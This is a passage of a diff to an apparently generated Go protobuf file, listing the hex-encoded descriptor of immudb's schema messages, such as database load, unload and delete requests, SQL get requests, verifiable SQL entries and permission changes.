0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x6d, - 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, - 0x73, 0x12, 0x4d, 0x0a, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, - 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x12, 0x72, 0x65, - 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, - 0x12, 0x45, 0x0a, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, - 0x6c, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x12, 0x53, 0x0a, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, - 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, - 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x55, 0x0a, 0x16, - 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, - 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x16, 0x6e, 0x6f, 0x64, - 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, - 0x6c, 0x65, 0x73, 0x12, 0x59, 0x0a, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x6f, - 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, - 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, - 0x6e, 0x74, 0x33, 0x32, 0x52, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x6f, 0x67, - 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x57, - 0x0a, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, - 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, - 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, - 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x47, 0x0a, 0x0f, 0x66, 0x6c, 0x75, 0x73, 0x68, - 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, - 0x0f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, - 0x12, 0x4a, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, - 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x52, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, - 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x22, 0xa3, 0x01, 0x0a, - 0x13, 0x41, 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, - 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, - 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x47, 0x0a, 0x0f, 0x77, 0x72, 0x69, - 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, - 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, - 0x7a, 0x65, 0x22, 0x31, 0x0a, 0x13, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x32, 0x0a, 0x14, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, - 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x55, 0x6e, 0x6c, - 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, - 0x0a, 0x16, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, + 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, + 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x31, 0x0a, 0x13, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, 0x0a, 0x16, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, - 0x59, 0x0a, 0x11, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, - 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, - 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, - 0x67, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x22, 0x30, 0x0a, 0x12, 0x46, 0x6c, - 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x25, 0x0a, 0x05, - 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x4e, - 0x61, 0x6d, 0x65, 0x22, 0x88, 0x01, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x33, 0x0a, 0x08, 0x70, - 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, - 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, - 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, - 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x81, - 0x01, 0x0a, 0x17, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, - 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x71, - 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, - 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, - 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, - 0x54, 0x78, 0x22, 0x79, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x0e, - 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x10, - 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, - 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, - 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, - 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0x87, 0x07, - 0x0a, 0x12, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, - 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, - 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, - 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, - 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, - 0x64, 0x12, 0x18, 0x0a, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x50, - 0x4b, 0x49, 0x44, 0x73, 0x18, 0x10, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x05, 0x50, 0x4b, 0x49, 0x44, - 0x73, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, - 0x64, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4e, 0x61, - 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, - 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, - 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x09, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, - 0x79, 0x49, 0x64, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, - 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, - 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x51, 0x0a, 0x0a, - 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0b, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x1a, - 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, - 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, - 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, - 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, - 0x38, 0x01, 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, - 0x01, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, 0x10, 0x55, 0x73, 0x65, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x74, - 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, - 0x6e, 0x22, 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, - 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x37, 0x0a, - 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65, - 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, - 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, - 0x6d, 